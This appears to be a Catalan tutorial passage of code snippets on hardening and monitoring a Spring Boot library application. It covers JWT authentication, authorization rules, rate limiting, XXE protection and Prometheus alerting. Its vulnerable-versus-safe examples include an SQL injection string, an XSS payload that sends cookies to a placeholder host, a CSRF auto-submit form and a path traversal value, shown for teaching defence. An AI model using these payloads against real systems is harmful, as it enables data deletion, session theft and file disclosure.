-- L'usuari de l'aplicació NO ha de poder esborrar taules
CREATE USER bibliotech_app WITH PASSWORD :'clau';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- Sense CREATE, sense DROP, sense ALTER: l'esquema el governa Flyway amb UN ALTRE usuari

CREATE USER bibliotech_migracions WITH PASSWORD :'clau_migracions';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migracions;

// VULNERABLE. Amb text = "'; DELETE FROM prestecs; --" la consulta es converteix en dues.
String jpql = "select m from Material m where m.titol like '%" + text + "%'";
em.createQuery(jpql, Material.class).getResultList();

// SEGUR: el parametre MAI no es tracta com a SQL. Es un valor, no codi.
em.createQuery("select m from Material m where lower(m.titol) like lower(:text)", Material.class)
  .setParameter("text", "%" + text + "%")
  .getResultList();

// PERILL: la clausula ORDER BY NO es pot parametritzar
@Query(value = "select * from materials order by " + "#{#ordre}", nativeQuery = true)   // MALAMENT

// SEGUR: llista blanca. El text que arriba de fora no entra mai a lestructura de la consulta.
private static final Set<String> ORDRES_PERMESES = Set.of("titol", "autor", "any_publicacio");

public List<Material> ordenatsPer(String camp) {
    if (!ORDRES_PERMESES.contains(camp)) {
        throw new ParametreInvalidException("Ordre no permes: " + camp);
    }
    return em.createQuery("select m from Material m order by m." + camp, Material.class)
             .getResultList();
}

<!-- VULNERABLE: si el titol es <script>fetch('http://malo/'+document.cookie)</script> -->
<td th:utext="${material.titol}"></td>

<!-- SEGUR: th:text ESCAPA el HTML. Es el valor per defecte de Thymeleaf. -->
<td th:text="${material.titol}"></td>

<!-- A lloc-malicios.com -->
<form action="https://bibliotech.nexussoftware.com/api/materials/978-0000000001" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>

// VULNERABLE: qualsevol empleat autenticat veu els prestecs de qualsevol altre
@GetMapping("/api/empleats/{id}/prestecs")
public List<PrestecResponse> prestecsDe(@PathVariable Long id) {
    return gestor.prestecsDe(id).stream().map(PrestecResponse::desDe).toList();
}

// SEGUR: o ets tu, o ets bibliotecari
@GetMapping("/api/empleats/{id}/prestecs")
@PreAuthorize("#id == authentication.principal.id or hasRole('BIBLIOTECARI')")
public List<PrestecResponse> prestecsDe(@PathVariable Long id) { … }

// EXTREMADAMENT PERILLOS: mai amb dades que no controles.
ObjectInputStream ois = new ObjectInputStream(entradaUsuari);
Object objecte = ois.readObject();      // aixo pot executar codi arbitrari

// I a Jackson, el cas equivalent:
mapper.enableDefaultTyping();                          // MAI amb dades externes
mapper.activateDefaultTyping(validador, …);            // nomes amb llista blanca estricta

// (a) A la resposta: entitat exposada amb el hash de la contrasenya
@GetMapping("/api/empleats/{id}")
public Empleat perId(@PathVariable Long id) { … }      // MALAMENT: DTO, sempre (12-01)

// (b) Al log: dades personals i credencials
log.info("Autenticant {} amb contrasenya {}", correu, contrasenya);    // MALAMENT, i molt comu
log.debug("Peticio rebuda: {}", peticio);                              // que porta a dins?

// (c) Als errors: la pila completa revela versions i estructura interna
server.error.include-stacktrace: always                                 // MALAMENT (12-04)

public class EmmascaradorDadesSensibles extends ClassicConverter {

    private static final List<Pattern> PATRONS = List.of(
        Pattern.compile("(\"(?:password|contrasenya|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
                        Pattern.CASE_INSENSITIVE),
        Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\b(\\d{8})([A-Za-z])\\b")     // DNI
    );

    @Override
    public String convert(ILoggingEvent esdeveniment) {
        String missatge = esdeveniment.getFormattedMessage();
        for (Pattern p : PATRONS) {
            missatge = p.matcher(missatge).replaceAll("$1***$3");
        }
        return missatge;
    }
}

<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>dependency-check-maven</artifactId>
  <version>10.0.4</version>
  <configuration>
    <failBuildOnCVSS>7</failBuildOnCVSS>      <!-- CVSS 7+ = alta o critica -->
    <suppressionFiles>
      <suppressionFile>config/supressions-cve.xml</suppressionFile>
    </suppressionFiles>
  </configuration>
  <executions>
    <execution><goals><goal>check</goal></goals></execution>
  </executions>
</plugin>

./mvnw org.owasp:dependency-check-maven:check
open target/dependency-check-report.html

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: maven
    directory: "/"
    schedule: { interval: weekly, day: monday }
    open-pull-requests-limit: 10
    groups:
      spring:
        patterns: ["org.springframework*"]     # agrupar: menys soroll
      proves:
        patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]   # les majors, a mà

<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <version>2.8.1</version>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>

./mvnw package        # genera target/bom.json i target/bom.xml
grep -i "log4j" target/bom.json      # resposta en un segon

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // habilita @PreAuthorize
public class ConfiguracioSeguretat {

    private final FiltreAutenticacioJwt filtreJwt;
    private final GestorErrorsSeguretat gestorErrors;

    @Bean
    SecurityFilterChain cadenaFiltres(HttpSecurity http) throws Exception {
        return http
            // API sense estat: no hi ha sessio de servidor, per tant no hi ha CSRF per galeta
            .csrf(AbstractHttpConfigurer::disable)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            .cors(cors -> cors.configurationSource(fontCors()))

            .authorizeHttpRequests(rutes -> rutes
                // --- Public ---
                .requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refrescar").permitAll()
                .requestMatchers("/actuator/health/**").permitAll()

                // --- Nomes lectura del cataleg: qualsevol empleat autenticat ---
                .requestMatchers(HttpMethod.GET, "/api/materials/**").hasAnyRole("EMPLEAT", "BIBLIOTECARI", "ADMIN")

                // --- Gestio del cataleg: bibliotecaris ---
                .requestMatchers(HttpMethod.POST,   "/api/materials/**").hasRole("BIBLIOTECARI")
                .requestMatchers(HttpMethod.PUT,    "/api/materials/**").hasRole("BIBLIOTECARI")
                .requestMatchers(HttpMethod.PATCH,  "/api/materials/**").hasRole("BIBLIOTECARI")
                .requestMatchers(HttpMethod.DELETE, "/api/materials/**").hasRole("BIBLIOTECARI")

                // --- Administracio ---
                .requestMatchers("/api/empleats/**").hasRole("ADMIN")
                .requestMatchers("/actuator/**").hasRole("ADMIN")

                // --- Documentacio: nomes fora de produccio (veure perfil) ---
                .requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")

                // --- Regla final: TOTA la resta requereix autenticacio ---
                // denyAll implicit per defecte: el que no es declara, no passa
                .anyRequest().authenticated())

            .exceptionHandling(e -> e
                .authenticationEntryPoint(gestorErrors)        // 401 en format Problem Details
                .accessDeniedHandler(gestorErrors))            // 403 idem

            // El nostre filtre ABANS del que fa login amb usuari i contrasenya
            .addFilterBefore(filtreJwt, UsernamePasswordAuthenticationFilter.class)

            .headers(h -> h
                .frameOptions(FrameOptionsConfig::deny)
                .contentSecurityPolicy(csp -> csp.policyDirectives(
                    "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31_536_000)))

            .build();
    }

    @Bean
    PasswordEncoder codificadorContrasenyes() {
        // Forca 12: ~250 ms per verificacio en maquinari de 2026.
        // Prou lent per a un atacant, tolerable per a un usuari.
        return new BCryptPasswordEncoder(12);
    }

    @Bean
    AuthenticationManager gestorAutenticacio(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

@Service
public class ServeiAutenticacio {

    private final RepositoriEmpleats empleats;
    private final PasswordEncoder codificador;

    /** Registre: la contrasenya es codifica i es descarta de seguida. */
    @Transactional
    public Empleat registrar(String nom, String correu, char[] contrasenya) {
        validarFortalesa(contrasenya);
        try {
            String hash = codificador.encode(new String(contrasenya));
            return empleats.desar(Empleat.nou(nom, correu, hash));
        } finally {
            Arrays.fill(contrasenya, '\0');   // sobreescriure en memoria (12-03)
        }
    }

    public Optional<Empleat> autenticar(String correu, String contrasenya) {
        Optional<Empleat> empleat = empleats.cercarPerCorreu(correu);

        if (empleat.isEmpty()) {
            // Comparar contra un hash fictici perque el temps de resposta
            // sigui sempre el mateix, existeixi o no aquest usuari. Sense
            // aixo, un atacant pot ENUMERAR usuaris mesurant la latencia.
            codificador.matches(contrasenya, HASH_FICTICI);
            return Optional.empty();
        }
        if (!codificador.matches(contrasenya, empleat.get().getHashContrasenya())) {
            return Optional.empty();
        }
        return empleat;
    }
}

$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 │   │  └────────────────────┬──────────────────────────────┘
 │   │                       └─ sal (22) + hash (31), en base64
 │   └───────────────────────── cost: 2^12 = 4.096 iteracions
 └───────────────────────────── versió de l'algorisme

private void validarFortalesa(char[] contrasenya) {
    // La llargada importa MES que la complexitat: "cavall bateria grapa correcta"
    // es mes forta que "P@ssw0rd" i molt mes facil de recordar.
    if (contrasenya.length < 12) {
        throw new ContrasenyaFebleException("Minim 12 caracters");
    }
    if (contrasenya.length > 128) {
        throw new ContrasenyaFebleException("Maxim 128 caracters");   // evitar DoS amb BCrypt
    }
    if (esComuna(new String(contrasenya))) {
        throw new ContrasenyaFebleException("Aquesta contrasenya apareix en filtracions conegudes");
    }
}

@Service
public class GestorPrestecs implements GestionarPrestecs {

    @Override
    @Transactional
    @PreAuthorize("hasRole('EMPLEAT')")
    public Prestec prestar(Isbn isbn, Long idEmpleat, Integer dies) { … }

    /** O es un prestec teu, o ets bibliotecari. */
    @Override
    @Transactional
    @PreAuthorize("@propietat.esElSeuPrestec(#idPrestec) or hasRole('BIBLIOTECARI')")
    public ResultatDevolucio retornar(Long idPrestec, LocalDate data) { … }

    /** Condonar una multa es una decisio amb impacte economic. */
    @Override
    @Transactional
    @PreAuthorize("hasRole('BIBLIOTECARI')")
    @Auditat(accio = "CONDONAR_MULTA")
    public void condonarMulta(Long idPrestec, String motiu) { … }

    /** Filtrar el resultat: cadascu veu el que es seu. */
    @Override
    @PostFilter("filterObject.idEmpleat == authentication.principal.id or hasRole('BIBLIOTECARI')")
    public List<Prestec> totsElsActius() { … }
}

@Component("propietat")
public class ComprovadorPropietat {

    private final RepositoriPrestecs prestecs;

    public boolean esElSeuPrestec(Long idPrestec) {
        Long idUsuari = usuariActual().getId();
        return prestecs.cercarPerId(idPrestec)
                .map(p -> p.getIdEmpleat().equals(idUsuari))
                .orElse(false);
    }

    private UsuariBiblioTech usuariActual() {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth == null || !(auth.getPrincipal() instanceof UsuariBiblioTech usuari)) {
            throw new AccessDeniedException("Sense usuari autenticat");
        }
        return usuari;
    }
}

@Aspect
@Component
public class AspecteAuditoria {

    private static final Logger auditoria = LoggerFactory.getLogger("AUDITORIA");

    @AfterReturning("@annotation(auditat)")
    public void registrar(JoinPoint punt, Auditat auditat) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        auditoria.info("accio={} usuari={} arguments={} traceId={}",
                auditat.accio(),
                auth != null ? auth.getName() : "anonim",
                Arrays.toString(punt.getArgs()),
                MDC.get("traceId"));
    }
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn
└──────── capçalera ───────┘ └──────── càrrega útil ──────┘ └── signatura ──┘

// Capcalera                         // Carrega util
{ "alg": "HS256", "typ": "JWT" }     { "sub": "1",
                                       "correu": "[email protected]",
                                       "roles": ["EMPLEAT", "BIBLIOTECARI"],
                                       "iat": 1785000000,
                                       "exp": 1785003600 }

@Service
public class ServeiJwt {

    private final SecretKey clau;
    private final Duration vigenciaAcces;
    private final Duration vigenciaRefresc;
    private final Clock rellotge;                 // 10-05: injectable, per poder provar-lo

    public ServeiJwt(PropietatsJwt props, Clock rellotge) {
        // La clau prove de la configuracio externa i ha de tenir 256 bits com a minim.
        // Si es curta o es al codi, la signatura es falsificable.
        byte[] bytes = Decoders.BASE64.decode(props.secret());
        if (bytes.length < 32) {
            throw new IllegalStateException("La clau JWT ha de tenir com a minim 256 bits");
        }
        this.clau = Keys.hmacShaKeyFor(bytes);
        this.vigenciaAcces = props.vigenciaAcces();
        this.vigenciaRefresc = props.vigenciaRefresc();
        this.rellotge = rellotge;
    }

    public String generarAcces(UsuariBiblioTech usuari) {
        Instant ara = Instant.now(rellotge);
        return Jwts.builder()
                .subject(String.valueOf(usuari.getId()))
                .claim("correu", usuari.getUsername())
                .claim("roles", usuari.getAuthorities().stream()
                        .map(GrantedAuthority::getAuthority).toList())
                .issuer("bibliotech.nexussoftware.com")
                .issuedAt(Date.from(ara))
                .expiration(Date.from(ara.plus(vigenciaAcces)))
                .id(UUID.randomUUID().toString())      // jti: permet revocar aquest token concret
                .signWith(clau, Jwts.SIG.HS256)
                .compact();
    }

    public Claims validar(String token) {
        try {
            return Jwts.parser()
                    .verifyWith(clau)
                    .requireIssuer("bibliotech.nexussoftware.com")
                    .clockSkewSeconds(30)              // tolerancia de rellotge entre servidors
                    .build()
                    .parseSignedClaims(token)
                    .getPayload();
        } catch (ExpiredJwtException e) {
            throw new TokenCaducatException(e);         // el client ha de refrescar
        } catch (JwtException | IllegalArgumentException e) {
            throw new TokenInvalidException(e);         // signatura incorrecta o token manipulat
        }
    }
}

@Component
public class FiltreAutenticacioJwt extends OncePerRequestFilter {

    private final ServeiJwt jwt;
    private final RegistreTokensRevocats revocats;

    @Override
    protected void doFilterInternal(HttpServletRequest peticio, HttpServletResponse resposta,
                                    FilterChain cadena) throws ServletException, IOException {
        try {
            extreureToken(peticio).ifPresent(token -> {
                Claims afirmacions = jwt.validar(token);

                if (revocats.estaRevocat(afirmacions.getId())) {
                    throw new TokenRevocatException();
                }

                var autoritats = ((List<?>) afirmacions.get("roles")).stream()
                        .map(String::valueOf)
                        .map(SimpleGrantedAuthority::new)
                        .toList();

                var autenticacio = new UsernamePasswordAuthenticationToken(
                        new UsuariBiblioTech(Long.valueOf(afirmacions.getSubject()),
                                             afirmacions.get("correu", String.class), autoritats),
                        null, autoritats);

                SecurityContextHolder.getContext().setAuthentication(autenticacio);

                // Correlacio amb el MDC de 11-07: qui fa la peticio
                MDC.put("usuariId", afirmacions.getSubject());
            });

            cadena.doFilter(peticio, resposta);

        } catch (TokenCaducatException | TokenInvalidException | TokenRevocatException e) {
            SecurityContextHolder.clearContext();
            escriureProblema(resposta, HttpStatus.UNAUTHORIZED, e.getMessage());
        } finally {
            MDC.remove("usuariId");      // regla de 11-07: netejar SEMPRE en un pool de fils
        }
    }

    private Optional<String> extreureToken(HttpServletRequest peticio) {
        String capcalera = peticio.getHeader(HttpHeaders.AUTHORIZATION);
        return (capcalera != null && capcalera.startsWith("Bearer "))
                ? Optional.of(capcalera.substring(7))
                : Optional.empty();
    }
}

@Entity
public class TokenRefresc {
    @Id private String id;                    // jti
    private Long idEmpleat;
    private String hashToken;                 // el token tambe es desa amb hash
    private Instant caducaEn;
    private Instant revocatEn;
    private String dispositiu;                // per poder mostrar "sessions actives"
}

server:
  ssl:
    enabled: true
    key-store: ${TLS_KEYSTORE_PATH}
    key-store-password: ${TLS_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
    protocol: TLS
    enabled-protocols: TLSv1.3,TLSv1.2        # TLS 1.0 i 1.1 estan obsolets

server:
  forward-headers-strategy: framework     # respecta X-Forwarded-Proto i X-Forwarded-For

spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 12MB
server:
  tomcat:
    max-http-form-post-size: 2MB
    max-swallow-size: 2MB
    connection-timeout: 20s
    threads:
      max: 200

@Component
public class FiltreLimitTaxa extends OncePerRequestFilter {

    private final Cache<String, Bucket> cubells = Caffeine.newBuilder()
            .expireAfterAccess(Duration.ofMinutes(10))
            .maximumSize(100_000)
            .build();

    @Override
    protected void doFilterInternal(HttpServletRequest p, HttpServletResponse r, FilterChain c)
            throws ServletException, IOException {

        String clau = clauDe(p);        // usuari autenticat, o IP si es anonim
        Bucket cubell = cubells.get(clau, k -> nouCubell(p));

        ConsumptionProbe sonda = cubell.tryConsumeAndReturnRemaining(1);
        if (sonda.isConsumed()) {
            r.setHeader("X-RateLimit-Remaining", String.valueOf(sonda.getRemainingTokens()));
            c.doFilter(p, r);
        } else {
            long esperaSegons = sonda.getNanosToWaitForRefill() / 1_000_000_000;
            r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());        // 429
            r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(esperaSegons));
            escriureProblema(r, "Massa peticions. Reintenta-ho en " + esperaSegons + " s.");
        }
    }

    private Bucket nouCubell(HttpServletRequest p) {
        // El login es limita MOLT mes: es la porta als atacs de forca bruta
        boolean esLogin = p.getRequestURI().startsWith("/api/auth/login");
        int perMinut = esLogin ? 5 : 100;
        return Bucket.builder()
                .addLimit(l -> l.capacity(perMinut).refillGreedy(perMinut, Duration.ofMinutes(1)))
                .build();
    }
}

// VULNERABLE: nom = "../../../etc/passwd"
@GetMapping("/api/informes/{nom}")
public Resource descarregar(@PathVariable String nom) throws IOException {
    return new FileSystemResource(Path.of("/var/bibliotech/informes/", nom));
}

// SEGUR: normalitzar i verificar que continua dins del directori permes
private static final Path BASE = Path.of("/var/bibliotech/informes").toAbsolutePath().normalize();

@GetMapping("/api/informes/{nom}")
public Resource descarregar(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String nom)
        throws IOException {

    Path demanat = BASE.resolve(nom).normalize();

    // La comprovacio DECISIVA: despres de normalitzar, continua dins de BASE?
    if (!demanat.startsWith(BASE)) {
        throw new AccessDeniedException("Cami no permes");
    }
    if (!Files.isRegularFile(demanat)) {
        throw new RecursNoTrobatException(nom);
    }
    return new FileSystemResource(demanat);
}

// SEGUR: desactivar les entitats externes abans de llegir qualsevol XML
DocumentBuilderFactory fabrica = DocumentBuilderFactory.newInstance();
fabrica.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
fabrica.setFeature("http://xml.org/sax/features/external-general-entities", false);
fabrica.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
fabrica.setXIncludeAware(false);
fabrica.setExpandEntityReferences(false);

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-registry-prometheus</artifactId>
  <scope>runtime</scope>
</dependency>

management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus,loggers
  endpoint:
    health:
      probes: { enabled: true }
      show-details: when-authorized
  metrics:
    tags:
      application: bibliotech          # etiqueta comuna a TOTES les mètriques
      entorn: ${SPRING_PROFILES_ACTIVE:desconegut}
  observations:
    key-values:
      version: ${bibliotech.version}
  prometheus:
    metrics:
      export:
        enabled: true

@Service
public class MetriquesBiblioTech {

    private final Counter prestecsCreats;
    private final Counter prestecsRebutjats;
    private final Counter multesEmeses;
    private final Timer tempsCalculMultes;
    private final DistributionSummary quantitatMultes;

    public MetriquesBiblioTech(MeterRegistry registre, RepositoriMaterials materials) {

        this.prestecsCreats = Counter.builder("bibliotech.prestecs.creats")
                .description("Prestecs creats correctament")
                .baseUnit("prestecs")
                .register(registre);

        this.prestecsRebutjats = Counter.builder("bibliotech.prestecs.rebutjats")
                .description("Intents de prestec rebutjats")
                .register(registre);

        this.multesEmeses = Counter.builder("bibliotech.multes.emeses")
                .register(registre);

        this.tempsCalculMultes = Timer.builder("bibliotech.multes.calcul")
                .publishPercentiles(0.5, 0.95, 0.99)
                .register(registre);

        this.quantitatMultes = DistributionSummary.builder("bibliotech.multes.quantitat")
                .baseUnit("euros")
                .publishPercentiles(0.5, 0.95)
                .register(registre);

        // Gauge: es consulta quan es recull la metrica.
        // COMPTE: la funcio ha de ser BARATA. Aqui una consulta desada en cau, no un count() a la BD.
        Gauge.builder("bibliotech.materials.disponibles", materials::comptarDisponiblesEnCau)
                .description("Materials amb almenys una unitat lliure")
                .register(registre);
    }

    /** Amb etiqueta de motiu: permet veure PER QUE es rebutgen. */
    public void prestecRebutjat(String motiu) {
        prestecsRebutjats.increment();
        Counter.builder("bibliotech.prestecs.rebutjats.per.motiu")
                .tag("motiu", motiu)        // limit_excedit, sense_unitats, multes_pendents
                .register(registre)
                .increment();
    }
}

@Service
public class GestorPrestecs {

    @Timed(value = "bibliotech.prestecs.duracio", percentiles = {0.5, 0.95, 0.99})
    @Transactional
    public Prestec prestar(Isbn isbn, Long idEmpleat, Integer dies) {
        try {
            Prestec prestec = crearPrestec(isbn, idEmpleat, dies);
            metriques.prestecCreat(prestec.getMaterial().tipus());
            return prestec;
        } catch (LimitPrestecsExceditException e) {
            metriques.prestecRebutjat("limit_excedit");
            throw e;
        } catch (MaterialNoDisponibleException e) {
            metriques.prestecRebutjat("sense_unitats");
            throw e;
        }
    }
}

$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_prestecs
# HELP bibliotech_prestecs_creats_total Prestecs creats correctament
# TYPE bibliotech_prestecs_creats_total counter
bibliotech_prestecs_creats_total{application="bibliotech",entorn="prod",tipus="LLIBRE"} 1247.0
bibliotech_prestecs_creats_total{application="bibliotech",entorn="prod",tipus="DVD"} 89.0

# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: bibliotech
    metrics_path: /actuator/prometheus
    static_configs:
      - targets: ['bibliotech:8080']

rule_files:
  - alertes.yml

# Peticions per segon, per endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)

# Latència del percentil 95
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))

# Taxa d'error (5xx sobre el total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))

# Ús del pool de connexions
hikaricp_connections_active / hikaricp_connections_max

# Préstecs per hora
sum(rate(bibliotech_prestecs_creats_total[1h])) * 3600

# Memòria del heap en ús, en percentatge
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})

  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./observabilitat/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - ./observabilitat/alertes.yml:/etc/prometheus/alertes.yml:ro
    ports: ["9090:9090"]

  grafana:
    image: grafana/grafana:latest
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - ./observabilitat/grafana:/etc/grafana/provisioning:ro
    ports: ["3000:3000"]
    depends_on: [prometheus]

<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
  <groupId>io.opentelemetry</groupId>
  <artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>

management:
  tracing:
    sampling:
      probability: 0.1        # 10 % de les peticions: cost baix, mostra suficient
  otlp:
    tracing:
      endpoint: http://tempo:4318/v1/traces

logging:
  pattern:
    # traceId i spanId a CADA línia de log: així s'uneix una traça amb els seus registres
    level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"

Trace a3f7e91c4b2d8f6a  ─── total: 187 ms
├── http POST /api/prestecs                                 187 ms
│   ├── GestorPrestecs.prestar                              184 ms
│   │   ├── select material where isbn = ?                    4 ms
│   │   ├── select count(*) from prestecs where …             3 ms
│   │   ├── PassarelaMetadades.cercar (HTTP extern)         142 ms  ← EL CULPABLE
│   │   ├── insert into prestecs                              6 ms
│   │   └── NotificadorAvisos.notificar                      27 ms
│   └── serialitzacio JSON                                    2 ms

@Service
public class EnriquidorCataleg {

    private final ObservationRegistry registre;

    public void enriquir(List<Material> materials) {
        Observation.createNotStarted("bibliotech.enriquir", registre)
                .lowCardinalityKeyValue("origen", "api-metadades")
                .highCardinalityKeyValue("quantitat", String.valueOf(materials.size()))
                .observe(() -> {
                    materials.forEach(this::enriquirUn);
                });
    }
}

<!-- logback-spring.xml, reprenent 11-07 -->
<configuration>

  <springProfile name="dev">
    <appender name="CONSOLA" class="ch.qos.logback.core.ConsoleAppender">
      <encoder>
        <pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
      </encoder>
    </appender>
    <root level="INFO"><appender-ref ref="CONSOLA"/></root>
  </springProfile>

  <springProfile name="prod">
    <appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
      <encoder class="net.logstash.logback.encoder.LogstashEncoder">
        <includeMdcKeyName>traceId</includeMdcKeyName>
        <includeMdcKeyName>spanId</includeMdcKeyName>
        <includeMdcKeyName>usuariId</includeMdcKeyName>
        <customFields>{"aplicacio":"bibliotech","entorn":"prod"}</customFields>
        <fieldNames>
          <timestamp>marca_temps</timestamp>
          <message>missatge</message>
        </fieldNames>
      </encoder>
    </appender>

    <!-- Asincron: registrar NO ha de frenar les peticions -->
    <appender name="ASINCRON" class="ch.qos.logback.classic.AsyncAppender">
      <appender-ref ref="JSON"/>
      <queueSize>2048</queueSize>
      <discardingThreshold>0</discardingThreshold>   <!-- no descartar WARN ni ERROR -->
      <neverBlock>true</neverBlock>                  <!-- amb saturacio, descartar abans que bloquejar -->
    </appender>

    <root level="INFO"><appender-ref ref="ASINCRON"/></root>
    <logger name="AUDITORIA" level="INFO" additivity="false">
      <appender-ref ref="ASINCRON"/>
    </logger>
  </springProfile>
</configuration>

{
  "marca_temps": "2026-08-05T10:23:45.123Z",
  "level": "INFO",
  "logger_name": "com.nexussoftware.bibliotech.aplicacio.GestorPrestecs",
  "missatge": "Prestec creat id=42 isbn=978-0000000001",
  "traceId": "a3f7e91c4b2d8f6a",
  "spanId": "8f6a2b1c",
  "usuariId": "1",
  "aplicacio": "bibliotech",
  "entorn": "prod"
}

# alertes.yml
groups:
  - name: bibliotech
    rules:

      # ✅ BONA: impacte directe en usuaris, requereix acció
      - alert: TaxaErrorsAlta
        expr: |
          sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
        for: 5m
        labels: { severitat: critica }
        annotations:
          summary: "Més de l'1 % de les peticions fallen amb 5xx"
          descripcio: "Taxa actual: {{ $value | humanizePercentage }}"
          accio: "Revisa els logs amb severity=ERROR i les traces del darrer desplegament"
          runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#errors-5xx"

      # ✅ BONA: prediu una fallada abans que passi
      - alert: PoolDeConnexionsEsgotantse
        expr: hikaricp_connections_pending{application="bibliotech"} > 5
        for: 3m
        labels: { severitat: alta }
        annotations:
          summary: "{{ $value }} fils esperant connexió a la base de dades"
          accio: "Busca consultes lentes; considera apujar maximum-pool-size"

      # ✅ BONA: detecta una fallada SILENCIOSA
      - alert: SensePrestecsEnHorariLaboral
        expr: |
          sum(rate(bibliotech_prestecs_creats_total[30m])) == 0
          and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
        for: 30m
        labels: { severitat: mitjana }
        annotations:
          summary: "Ni un sol préstec en 30 minuts en horari laboral"
          descripcio: "El sistema respon, però potser hi ha una fallada funcional"

      # ❌ DOLENTA: no implica impacte i es dispara constantment
      # - alert: UsDeCpuAlt
      #   expr: system_cpu_usage > 0.8
      #   Un pic de CPU de 30 segons no requereix que ningú s'aixequi.

      # ❌ DOLENTA: informativa, no accionable
      # - alert: DesplegamentRealitzat
      #   Això va a un canal de notificacions, no a una alerta.

{
  "title": "BiblioTech — Salut",
  "panels": [
    {
      "title": "Taxa d'error (5xx)",
      "targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
      "thresholds": [{ "value": 0.01, "color": "red" }]
    },
    {
      "title": "Latència p95 per endpoint",
      "targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
    },
    {
      "title": "Préstecs per hora",
      "targets": [{ "expr": "sum(rate(bibliotech_prestecs_creats_total[1h])) * 3600" }]
    },
    {
      "title": "Rebutjos per motiu",
      "targets": [{ "expr": "sum(rate(bibliotech_prestecs_rebutjats_per_motiu_total[15m])) by (motiu)" }]
    }
  ]
}

@GetMapping("/api/v1/materials/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
           summary = "[OBSOLET] Fes servir /api/v2/materials/{isbn}",
           description = "S'eliminara el 2027-01-01. Canvis a v2: el camp 'disponible' "
                       + "(boolea) es substitueix per 'unitatsDisponibles' (enter).")
public ResponseEntity<MaterialResponseV1> perIsbnV1(@PathVariable Isbn isbn) {
    return ResponseEntity.ok()
            .header("Deprecation", "true")                                    // RFC 8594
            .header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
            .header("Link", "</api/v2/materials/" + isbn + ">; rel=\"successor-version\"")
            .body(MaterialResponseV1.desDe(cataleg.perIsbn(isbn).orElseThrow()));
}

@Component
public class MetriquesVersioApi {
    @EventListener
    public void alFerServirV1(PeticioV1Event esdeveniment) {
        Counter.builder("bibliotech.api.v1.us")
